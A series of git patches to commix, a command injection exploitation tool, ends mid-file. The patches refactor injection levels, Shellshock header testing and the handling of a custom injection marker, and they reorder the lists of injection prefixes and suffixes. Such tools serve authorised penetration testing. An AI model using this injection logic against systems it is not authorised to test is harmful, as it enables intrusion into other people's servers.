5fe78ccba17dc040a9c7690530bb5bf9cc59db06 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 27 May 2022 08:16:43 +0300 Subject: [PATCH 149/560] Trivial fixes and update --- src/core/injections/controller/checks.py | 16 +++++----- src/core/injections/controller/controller.py | 18 ++++++++---- src/core/main.py | 13 ++++---- src/core/modules/shellshock/shellshock.py | 31 ++++++++++++-------- src/core/requests/headers.py | 16 +++++----- src/core/requests/parameters.py | 4 +-- src/utils/settings.py | 9 +++--- 7 files changed, 61 insertions(+), 46 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 6b190c4fc0..d8fd65c925 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -434,15 +434,15 @@ def check_injection_level(): cookies = menu.options.cookie.split(settings.COOKIE_DELIMITER) for cookie in cookies: if cookie.split("=")[0].strip() in menu.options.test_parameter: - menu.options.level = 2 + menu.options.level = settings.COOKIE_INJECTION_LEVEL elif menu.options.cookie.split("=")[0] in menu.options.test_parameter: - menu.options.level = 2 + menu.options.level = settings.COOKIE_INJECTION_LEVEL # Checking testable HTTP headers for user-agent / referer / host if "user-agent" in menu.options.test_parameter or \ "referer" in menu.options.test_parameter or \ "host" in menu.options.test_parameter: - menu.options.level = 3 + menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL """ Procced to the next attack vector. @@ -702,10 +702,10 @@ def check_CGI_scripts(url): _ = False for cgi_script in CGI_SCRIPTS: if cgi_script in url: - warn_msg = "The URL is probable to contain a script ('" + cgi_script + "') " - warn_msg += "vulnerable to shellshock. " + info_msg = "Heuristic (basic) tests shows that target URL might contain a script " + info_msg += "vulnerable to shellshock. " _ = True - print(settings.print_warning_msg(warn_msg)) + print(settings.print_bold_info_msg(info_msg)) while True: message = "Do you want to enable the shellshock module ('--shellshock')? [Y/n] > " shellshock_check = common.read_input(message, default="Y", check_batch=True) @@ -938,7 +938,7 @@ def print_non_listed_params(check_parameters, http_request_method, header_name): if non_exist_param: non_exist_param = ",".join(non_exist_param).replace(" ","") non_exist_param = non_exist_param.split(",") - if menu.options.level >= 2 and \ + if menu.options.level >= settings.COOKIE_INJECTION_LEVEL and \ menu.options.test_parameter != None: if menu.options.cookie != None: if settings.COOKIE_DELIMITER in menu.options.cookie: @@ -965,7 +965,7 @@ def print_non_listed_params(check_parameters, http_request_method, header_name): warn_msg = "Skipping tests for " warn_msg += "the provided parameter" + "s"[len(non_exist_param) == 1:][::-1] + " '" warn_msg += non_exist_param_items + "' as" + (' they are', ' it is')[len(non_exist_param) == 1] - if menu.options.level >= 2 and header_name != "": + if menu.options.level >= settings.COOKIE_INJECTION_LEVEL and header_name != "": warn_msg += " not part of the " warn_msg += settings.HTTP_HEADER else: diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 2638b15611..1462954750 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -44,19 +44,21 @@ Check for previously stored sessions. """ def check_for_stored_sessions(url, http_request_method): + if not menu.options.ignore_session: if os.path.isfile(settings.SESSION_FILE) and not settings.REQUIRED_AUTHENTICATION: if not menu.options.tech: settings.SESSION_APPLIED_TECHNIQUES = session_handler.applied_techniques(url, http_request_method) menu.options.tech = settings.SESSION_APPLIED_TECHNIQUES if session_handler.check_stored_parameter(url, http_request_method): - settings.LOAD_SESSION = True + # settings.LOAD_SESSION = True return True """ Check for previously stored injection level. """ def check_for_stored_levels(url, http_request_method): + if not menu.options.ignore_session: if menu.options.level == settings.DEFAULT_INJECTION_LEVEL: menu.options.level = session_handler.applied_levels(url, http_request_method) @@ -436,7 +438,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time """ def http_headers_injection(url, http_request_method, filename, timesec): # Disable Cookie Injection - settings.COOKIE_INJECTION = False + settings.COOKIE_INJECTION = None def user_agent_injection(url, http_request_method, filename, timesec): user_agent = menu.options.agent @@ -735,6 +737,8 @@ def basic_level_checks(): if menu.options.shellshock: menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL else: + if menu.options.level != settings.DEFAULT_INJECTION_LEVEL: + menu.options.level = settings.USER_SUPPLIED_LEVEL check_for_stored_levels(url, http_request_method) if settings.PERFORM_BASIC_SCANS: @@ -754,7 +758,9 @@ def basic_level_checks(): else: post_request(url, http_request_method, filename, timesec) - if menu.options.level >= settings.COOKIE_INJECTION_LEVEL: + _ = menu.options.level + if _ >= settings.COOKIE_INJECTION_LEVEL: + menu.options.level = settings.COOKIE_INJECTION_LEVEL # Enable Cookie Injection if menu.options.cookie: cookie_injection(url, http_request_method, filename, timesec) @@ -762,8 +768,8 @@ def basic_level_checks(): warn_msg = "The HTTP Cookie header is not provided, " warn_msg += "so this test is going to be skipped." print(settings.print_warning_msg(warn_msg)) - - if menu.options.level == settings.HTTP_HEADER_INJECTION_LEVEL: + if _ == settings.HTTP_HEADER_INJECTION_LEVEL: + menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL if settings.INJECTED_HTTP_HEADER == False : check_parameter = "" # Check for stored injections on User-agent / Referer / Host HTTP headers (if level > 2). @@ -827,7 +833,7 @@ def do_check(url, http_request_method, filename): if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False : if settings.INJECTION_CHECKER == False and not settings.CHECK_BOTH_OS: err_msg = "All tested parameters " - if menu.options.level > 2: + if menu.options.level > settings.COOKIE_INJECTION_LEVEL: err_msg += "and HTTP headers " err_msg += "appear to be not injectable." if not menu.options.alter_shell : diff --git a/src/core/main.py b/src/core/main.py index 5fb236ecdb..53611a5913 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -356,7 +356,7 @@ def main(filename, url): settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[i].split("=")[0] # Check injection level, due to the provided testable parameters. - if menu.options.level < 2 and menu.options.test_parameter != None: + if menu.options.level == settings.DEFAULT_INJECTION_LEVEL and menu.options.test_parameter != None: checks.check_injection_level() # Check if defined character used for splitting cookie values. @@ -725,20 +725,23 @@ def main(filename, url): if "=" in settings.TEST_PARAMETER[i]: settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[i].split("=")[0] + if menu.options.level != settings.DEFAULT_INJECTION_LEVEL: + settings.USER_SUPPLIED_LEVEL = menu.options.level + # Define the level of tests to perform. - if menu.options.level == 1: + if menu.options.level == settings.DEFAULT_INJECTION_LEVEL: settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL1), key=settings.SEPARATORS_LVL1.index) settings.PREFIXES = sorted(set(settings.PREFIXES_LVL1), key=settings.PREFIXES_LVL1.index) settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL1), key=settings.SUFFIXES_LVL1.index) settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL1), key=settings.EVAL_PREFIXES_LVL1.index) settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL1), key=settings.EVAL_SUFFIXES_LVL1.index) - elif menu.options.level == 2: + elif menu.options.level == settings.COOKIE_INJECTION_LEVEL: settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL2), key=settings.SEPARATORS_LVL2.index) settings.PREFIXES = sorted(set(settings.PREFIXES_LVL2), key=settings.PREFIXES_LVL2.index) settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL2), key=settings.SUFFIXES_LVL2.index) settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL2), key=settings.EVAL_PREFIXES_LVL2.index) settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL2), key=settings.EVAL_SUFFIXES_LVL2.index) - elif menu.options.level == 3: + elif menu.options.level == settings.HTTP_HEADER_INJECTION_LEVEL: settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL3), key=settings.SEPARATORS_LVL3.index) settings.PREFIXES = sorted(set(settings.PREFIXES_LVL3), key=settings.PREFIXES_LVL3.index) settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL3), key=settings.SUFFIXES_LVL3.index) @@ -868,7 +871,7 @@ def main(filename, url): if url == clean_output_href[-1]: settings.EOF = True # Reset the injection level - if menu.options.level > 3: + if menu.options.level > settings.HTTP_HEADER_INJECTION_LEVEL: menu.options.level = 1 init_injection(url) try: diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index e684774cbc..4338b2b313 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -22,6 +22,10 @@ from src.core.injections.controller import checks default_user_agent = menu.options.agent +if menu.options.cookie: + if settings.INJECT_TAG in menu.options.cookie: + menu.options.cookie = menu.options.cookie.replace(settings.INJECT_TAG ,"") + default_cookie = menu.options.cookie """ This module exploits the vulnerabilities CVE-2014-6271 [1], CVE-2014-6278 [2] in Apache CGI. @@ -30,18 +34,18 @@ """ if settings.MULTI_TARGETS or not settings.IS_TTY: - if settings.COOKIE_INJECTION == True: - settings.COOKIE_INJECTION = None - if settings.USER_AGENT_INJECTION == True: + if settings.USER_AGENT_INJECTION: settings.USER_AGENT_INJECTION = None - if settings.REFERER_INJECTION == True: + if settings.REFERER_INJECTION: settings.REFERER_INJECTION = None + if settings.COOKIE_INJECTION: + settings.COOKIE_INJECTION = None # Available HTTP headers headers = [ "User-Agent", "Referer", -"Cookie" +"Cookie", ] # Available Shellshock CVEs @@ -603,8 +607,8 @@ def shellshock_handler(url, http_request_method, filename): try: i = 0 total = len(shellshock_cves) * len(headers) - for cve in shellshock_cves: - for check_header in headers: + for check_header in headers: + for cve in shellshock_cves: # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False @@ -619,9 +623,10 @@ def shellshock_handler(url, http_request_method, filename): debug_msg = "Generating payload for the injection." print(settings.print_debug_msg(debug_msg)) print(settings.print_payload(payload)) - header = {check_header : payload} request = _urllib.request.Request(url, None, header) + if check_header == "Cookie": + menu.options.cookie = payload if check_header == "User-Agent": menu.options.agent = payload log_http_headers.do_check(request) @@ -634,6 +639,8 @@ def shellshock_handler(url, http_request_method, filename): response = tor.use_tor(request) else: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + if check_header == "Cookie": + menu.options.cookie = default_cookie if check_header == "User-Agent": menu.options.agent = default_user_agent percent = ((i*100)/total) @@ -676,14 +683,12 @@ def shellshock_handler(url, http_request_method, filename): if settings.VERBOSITY_LEVEL != 0: checks.total_of_requests() - info_msg = "The (" + check_header + ") '" - info_msg += url + Style.RESET_ALL + Style.BRIGHT - info_msg += "' seems vulnerable via " + technique + "." + info_msg = "The " + check_header + " " + vuln_parameter + info_msg += " seems injectable via " + technique + "." if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) print(settings.print_bold_info_msg(info_msg)) - sub_content = "\"" + payload + "\"" - print(settings.print_sub_content(sub_content)) + print(settings.print_sub_content(payload)) # Enumeration options. if settings.ENUMERATION_DONE == True: diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 0b3ba804fe..54d23d64aa 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -248,9 +248,9 @@ def https_open(self, req): """ def do_check(request): - # Check if defined any Host HTTP header. - if menu.options.host and settings.HOST_INJECTION == None: - request.add_header(settings.HOST, menu.options.host) + # Check if defined any Cookie HTTP header. + if menu.options.cookie and settings.COOKIE_INJECTION == None: + request.add_header(settings.COOKIE, menu.options.cookie) # Check if defined any User-Agent HTTP header. if menu.options.agent and settings.USER_AGENT_INJECTION == None: @@ -259,11 +259,11 @@ def do_check(request): # Check if defined any Referer HTTP header. if menu.options.referer and settings.REFERER_INJECTION == None: request.add_header(settings.REFERER, menu.options.referer) - - # Check if defined any Cookie HTTP header. - if menu.options.cookie and settings.COOKIE_INJECTION == False: - request.add_header(settings.COOKIE, menu.options.cookie) - + + # Check if defined any Host HTTP header. + if menu.options.host and settings.HOST_INJECTION == None: + request.add_header(settings.HOST, menu.options.host) + if not checks.get_header(request.headers, settings.ACCEPT): request.add_header(settings.ACCEPT, settings.ACCEPT_VALUE) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 584449586f..3bab67ed60 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -42,9 +42,9 @@ def do_GET_check(url, http_request_method): # Check for REST-ful URLs format. if "?" not in url: if settings.INJECT_TAG not in url and not menu.options.shellshock: - if menu.options.level == 3 or menu.options.header or menu.options.headers: + if menu.options.level == settings.HTTP_HEADER_INJECTION_LEVEL or menu.options.header or menu.options.headers: return False - if menu.options.level == 2 : + if menu.options.level == settings.COOKIE_INJECTION_LEVEL : return False else: err_msg = "No parameter(s) found for testing on the provided target URL. " diff --git a/src/utils/settings.py b/src/utils/settings.py index 53478261f9..4c7b2a01ba 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -234,7 +234,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "72" +REVISION = "73" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -414,13 +414,13 @@ def sys_argv_errors(): PREFIXES = [] PREFIXES_LVL1 = [""] PREFIXES_LVL2 = SEPARATORS_LVL1 -PREFIXES_LVL3 = ["'", "\""] + PREFIXES_LVL2 +PREFIXES_LVL3 = PREFIXES_LVL2 + ["'", "\""] # The command injection suffixes. SUFFIXES = [] SUFFIXES_LVL1 = DEFAULT_SEPARATORS SUFFIXES_LVL2 = SEPARATORS_LVL1 -SUFFIXES_LVL3 = ["'", "\"", " #", "//", "\\\\"] + SUFFIXES_LVL2 +SUFFIXES_LVL3 = SUFFIXES_LVL2 + ["'", "\"", " #", "//", "\\\\"] # Bad combination of prefix and separator JUNK_COMBINATION = [SEPARATORS_LVL1[i] + SEPARATORS_LVL1[j] for i in range(len(SEPARATORS_LVL1)) for j in range(len(SEPARATORS_LVL1))] @@ -462,6 +462,7 @@ def sys_argv_errors(): DEFAULT_INJECTION_LEVEL = 1 COOKIE_INJECTION_LEVEL = 2 HTTP_HEADER_INJECTION_LEVEL = 3 +USER_SUPPLIED_LEVEL = DEFAULT_INJECTION_LEVEL PERFORM_BASIC_SCANS = True # Default Temp Directory @@ -610,7 +611,7 @@ def sys_argv_errors(): TOR_HTTP_PROXY_SCHEME = "https" # Cookie injection -COOKIE_INJECTION = False +COOKIE_INJECTION = None # User-Agent injection USER_AGENT_INJECTION = None From ac03b68d2886b7ad042fce7a9a5feebdf5caf0fc Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 1 Jun 2022 07:29:49 +0300 Subject: [PATCH 150/560] Improvement regarding identifying injection marker (i.e. asterisk) in provided options. --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 2 - src/core/injections/controller/controller.py | 5 +- src/core/main.py | 80 +++++++++++++++++--- src/utils/settings.py | 2 +- 5 files changed, 75 insertions(+), 15 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 7e842e4568..7f1c8627af 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.5 (TBA) +* Revised: Improvement regarding identifying injection marker (i.e. asterisk) in provided options. * Revised: Improvement regarding shellshock module. * Added: Support regarding parsing target(s) from piped-input (i.e. stdin). * Added: New option `--answers` to set user answers to asked questions during commix run. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index d8fd65c925..51b5cff259 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -910,8 +910,6 @@ def wildcard_character(data): _ = _ + data + "\\n" data = _.rstrip("\\n") if data.count(settings.INJECT_TAG) > 1: - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) err_msg = "You specified more than one injecton markers. " err_msg += "Use the '-p' option to define them (i.e -p \"id1,id2\"). " print(settings.print_critical_msg(err_msg)) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 1462954750..72906786d9 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -51,7 +51,8 @@ def check_for_stored_sessions(url, http_request_method): settings.SESSION_APPLIED_TECHNIQUES = session_handler.applied_techniques(url, http_request_method) menu.options.tech = settings.SESSION_APPLIED_TECHNIQUES if session_handler.check_stored_parameter(url, http_request_method): - # settings.LOAD_SESSION = True + if not settings.MULTI_TARGETS or settings.IS_TTY: + settings.LOAD_SESSION = True return True """ @@ -737,7 +738,7 @@ def basic_level_checks(): if menu.options.shellshock: menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL else: - if menu.options.level != settings.DEFAULT_INJECTION_LEVEL: + if menu.options.level != settings.DEFAULT_INJECTION_LEVEL and not settings.WILDCARD_CHAR_APPLIED: menu.options.level = settings.USER_SUPPLIED_LEVEL check_for_stored_levels(url, http_request_method) diff --git a/src/core/main.py b/src/core/main.py index 53611a5913..43c7ec91df 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -33,6 +33,7 @@ from src.utils import install from src.utils import crawler from src.utils import settings +from src.core.requests import parameters from src.utils import session_handler from src.utils import simple_http_server from src.thirdparty.colorama import Fore, Back, Style, init @@ -316,15 +317,73 @@ def main(filename, url): if menu.options.url_reload and menu.options.data: settings.URL_RELOAD = True - if menu.options.header is not None and settings.INJECT_TAG in menu.options.header or \ - menu.options.headers is not None and settings.INJECT_TAG in menu.options.headers: - info_msg = "Injection marker found in option '--header(s)/--user-agent/--referer/--cookie'." - print(settings.print_info_msg(info_msg)) - if menu.options.test_parameter: - err_msg = "The options '-p' and the injection marker cannot be used " - err_msg += "simultaneously (i.e. only one option must be set)." - print(settings.print_critical_msg(err_msg)) - raise SystemExit + if settings.WILDCARD_CHAR_APPLIED and settings.MULTI_TARGETS or not settings.IS_TTY: + settings.WILDCARD_CHAR_APPLIED = False + + parameter = "" + if menu.options.url and settings.WILDCARD_CHAR in menu.options.url: + option = "'-u'" + settings.WILDCARD_CHAR_APPLIED = True + parameter = parameters.do_GET_check(menu.options.url, http_request_method) + parameter = parameters.vuln_GET_param(parameter[0]) + elif menu.options.data and settings.WILDCARD_CHAR in menu.options.data: + option = "POST body" + settings.WILDCARD_CHAR_APPLIED = True + parameter = parameters.do_POST_check(menu.options.data, http_request_method) + if len(parameter) == 0: + parameter = parameter[0] + parameter = parameters.vuln_POST_param(parameter, url="") + else: + option = "option '--headers/--user-agent/--referer/--cookie'" + if menu.options.cookie and settings.WILDCARD_CHAR in menu.options.cookie: + settings.WILDCARD_CHAR_APPLIED = True + menu.options.level = settings.COOKIE_INJECTION_LEVEL + cookie = parameters.do_cookie_check(menu.options.cookie) + parameter = parameters.specify_cookie_parameter(cookie) + + elif menu.options.agent and settings.WILDCARD_CHAR in menu.options.agent: + settings.WILDCARD_CHAR_APPLIED = True + menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL + parameter = "user-agent" + + elif menu.options.referer and settings.WILDCARD_CHAR in menu.options.referer: + settings.WILDCARD_CHAR_APPLIED = True + menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL + parameter = "referer" + + elif menu.options.headers and settings.WILDCARD_CHAR in menu.options.headers: + _ = True + for data in menu.options.headers.split("\\n"): + # Ignore the Accept HTTP Header + if not data.startswith(settings.ACCEPT): + _ = False + if _: + settings.WILDCARD_CHAR_APPLIED = True + menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL + parameter = parameters.specify_custom_header_parameter(settings.WILDCARD_CHAR) + + if menu.options.test_parameter and settings.WILDCARD_CHAR_APPLIED: + err_msg = "The options '-p' and the custom injection marker (" + settings.WILDCARD_CHAR + ") " + err_msg += "cannot be used simultaneously (i.e. only one option must be set)." + print(settings.print_critical_msg(err_msg)) + raise SystemExit + + if settings.WILDCARD_CHAR_APPLIED: + while True: + message = "Custom injection marker (" + settings.WILDCARD_CHAR + ") found in " + option +". " + message += "Do you want to process it? [Y/n] > " + procced_option = common.read_input(message, default="Y", check_batch=True) + if procced_option in settings.CHOICE_YES: + menu.options.test_parameter = parameter + break + elif procced_option in settings.CHOICE_NO: + break + elif procced_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + err_msg = "'" + procced_option + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + pass if menu.options.test_parameter and menu.options.skip_parameter: if type(menu.options.test_parameter) is bool: @@ -356,7 +415,8 @@ def main(filename, url): settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[i].split("=")[0] # Check injection level, due to the provided testable parameters. - if menu.options.level == settings.DEFAULT_INJECTION_LEVEL and menu.options.test_parameter != None: + if menu.options.level == settings.DEFAULT_INJECTION_LEVEL and \ + menu.options.test_parameter != None: checks.check_injection_level() # Check if defined character used for splitting cookie values. diff --git a/src/utils/settings.py b/src/utils/settings.py index 4c7b2a01ba..af95d1fba3 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -234,7 +234,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "73" +REVISION = "74" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 7d0c36dc2b0c875efedfc415998c4669d25ba08a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 2 Jun 2022 07:53:44 +0300 Subject: [PATCH 151/560] Minor fixes / updates --- src/core/injections/controller/checks.py | 65 ++++-- src/core/injections/controller/controller.py | 9 +- src/core/injections/controller/parser.py | 7 +- src/core/main.py | 196 +++++++++---------- src/core/requests/headers.py | 3 +- src/core/requests/parameters.py | 3 +- src/utils/settings.py | 2 +- 7 files changed, 158 insertions(+), 127 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 51b5cff259..a4d8d715ff 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -75,6 +75,44 @@ def mobile_user_agents(): print(settings.print_error_msg(err_msg)) pass +""" +The available mobile user agents. +""" +def mobile_user_agents(): + menu.mobile_user_agents() + while True: + message = "Which smartphone do you want to imitate through HTTP User-Agent header? > " + mobile_user_agent = common.read_input(message, default="1", check_batch=True) + try: + if int(mobile_user_agent) in range(1,len(settings.MOBILE_USER_AGENT_LIST)): + return settings.MOBILE_USER_AGENT_LIST[int(mobile_user_agent)] + elif mobile_user_agent.lower() == "q": + raise SystemExit() + else: + err_msg = "'" + mobile_user_agent + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + pass + except ValueError: + err_msg = "'" + mobile_user_agent + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + pass + +""" +Check for HTTP Method +""" +def check_http_method(url): + if len(settings.HTTP_METHOD) != 0: + http_request_method = settings.HTTP_METHOD.upper() + else: + if not menu.options.data or \ + settings.WILDCARD_CHAR in url or \ + settings.INJECT_TAG in url or \ + [x for x in settings.TEST_PARAMETER if(x + "=" in url and not x in menu.options.data)]: + http_request_method = settings.HTTPMETHOD.GET + else: + http_request_method = settings.HTTPMETHOD.POST + return http_request_method + """ User aborted procedure """ @@ -901,19 +939,20 @@ def enable_all_enumeration_options(): if the wildcard char is provided. """ def wildcard_character(data): - _ = "" - for data in data.split("\\n"): - # Ignore the Accept HTTP Header - if not data.startswith(settings.ACCEPT) and not settings.WILDCARD_CHAR is None and not settings.INJECT_TAG in data and settings.WILDCARD_CHAR in data : - data = data.replace(settings.WILDCARD_CHAR, settings.INJECT_TAG) - settings.WILDCARD_CHAR_APPLIED = True - _ = _ + data + "\\n" - data = _.rstrip("\\n") - if data.count(settings.INJECT_TAG) > 1: - err_msg = "You specified more than one injecton markers. " - err_msg += "Use the '-p' option to define them (i.e -p \"id1,id2\"). " - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + if settings.WILDCARD_CHAR_APPLIED != None: + _ = "" + for data in data.split("\\n"): + # Ignore the Accept HTTP Header + if not data.startswith(settings.ACCEPT) and not settings.WILDCARD_CHAR is None and not settings.INJECT_TAG in data and settings.WILDCARD_CHAR in data : + data = data.replace(settings.WILDCARD_CHAR, settings.INJECT_TAG) + settings.WILDCARD_CHAR_APPLIED = True + _ = _ + data + "\\n" + data = _.rstrip("\\n") + if data.count(settings.INJECT_TAG) > 1: + err_msg = "You specified more than one injecton markers. " + err_msg += "Use the '-p' option to define them (i.e -p \"id1,id2\"). " + print(settings.print_critical_msg(err_msg)) + raise SystemExit() return data """ diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 72906786d9..4210fd607c 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -158,7 +158,10 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST: - data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) + if inject_http_headers: + data = menu.options.data.replace(settings.INJECT_TAG,"").encode(settings.DEFAULT_CODEC) + else: + data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) else: if settings.INJECT_TAG in url: tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) @@ -166,7 +169,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t if cookie: request.add_header(settings.COOKIE, cookie) if inject_http_headers: - request.add_header(check_parameter.replace("'","").strip(), (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) + request.add_header(check_parameter.replace("'","").strip(), (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) headers.do_check(request) response = requests.get_request_response(request) @@ -738,7 +741,7 @@ def basic_level_checks(): if menu.options.shellshock: menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL else: - if menu.options.level != settings.DEFAULT_INJECTION_LEVEL and not settings.WILDCARD_CHAR_APPLIED: + if menu.options.level != settings.DEFAULT_INJECTION_LEVEL and settings.WILDCARD_CHAR_APPLIED != True: menu.options.level = settings.USER_SUPPLIED_LEVEL check_for_stored_levels(url, http_request_method) diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index 91ab8f6b5d..f06e8b04be 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -118,8 +118,8 @@ def invalid_data(request): request_url = re.findall(r"" + " (.*) HTTP/", request) if request_url: - # Check last line for POST data - if len(request.splitlines()[-1]) != 0: + # Check empty line for POST data. + if len(request.splitlines()[-2]) == 0: result = [item for item in request.splitlines() if item] multiple_xml = [] for item in result: @@ -194,8 +194,7 @@ def invalid_data(request): else: menu.options.url = prefix + menu.options.host + request_url if single_request: - sys.stdout.write(settings.SUCCESS_STATUS + "\n") - sys.stdout.flush() + print(settings.SINGLE_WHITESPACE) if menu.options.logfile and settings.VERBOSITY_LEVEL != 0: sub_content = http_method + " " + prefix + menu.options.host + request_url print(settings.print_sub_content(sub_content)) diff --git a/src/core/main.py b/src/core/main.py index 43c7ec91df..2613efc0cb 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -61,24 +61,74 @@ init() """ -Check for HTTP Method +Check for custom injection marker (*) """ -def check_http_method(url): - if len(settings.HTTP_METHOD) != 0: - http_request_method = settings.HTTP_METHOD.upper() +def check_custom_injection_marker(url): + + parameter = "" + if url and settings.WILDCARD_CHAR in url: + option = "'-u'" + settings.WILDCARD_CHAR_APPLIED = True + parameter = parameters.do_GET_check(url, http_request_method) + parameter = parameters.vuln_GET_param(parameter[0]) + elif menu.options.data and settings.WILDCARD_CHAR in menu.options.data: + option = "POST body" + settings.WILDCARD_CHAR_APPLIED = True + parameter = parameters.do_POST_check(menu.options.data, http_request_method) + parameter = parameters.vuln_POST_param(parameter, url) else: - if not menu.options.data or \ - not settings.WILDCARD_CHAR is None and settings.WILDCARD_CHAR in url or \ - settings.INJECT_TAG in url or \ - [x for x in settings.TEST_PARAMETER if(x + "=" in url and not x in menu.options.data)]: - http_request_method = settings.HTTPMETHOD.GET - else: - http_request_method = settings.HTTPMETHOD.POST + option = "option '--headers/--user-agent/--referer/--cookie'" + if menu.options.cookie and settings.WILDCARD_CHAR in menu.options.cookie: + settings.WILDCARD_CHAR_APPLIED = True + menu.options.level = settings.COOKIE_INJECTION_LEVEL + cookie = parameters.do_cookie_check(menu.options.cookie) + parameter = parameters.specify_cookie_parameter(cookie) - if menu.options.offline: - settings.CHECK_FOR_UPDATES_ON_START = False + elif menu.options.agent and settings.WILDCARD_CHAR in menu.options.agent: + settings.WILDCARD_CHAR_APPLIED = True + menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL + parameter = "user-agent" - return http_request_method + elif menu.options.referer and settings.WILDCARD_CHAR in menu.options.referer: + settings.WILDCARD_CHAR_APPLIED = True + menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL + parameter = "referer" + + elif menu.options.headers and settings.WILDCARD_CHAR in menu.options.headers: + _ = True + for data in menu.options.headers.split("\\n"): + # Ignore the Accept HTTP Header + if not data.startswith(settings.ACCEPT): + _ = False + if _: + settings.WILDCARD_CHAR_APPLIED = True + menu.options.level = 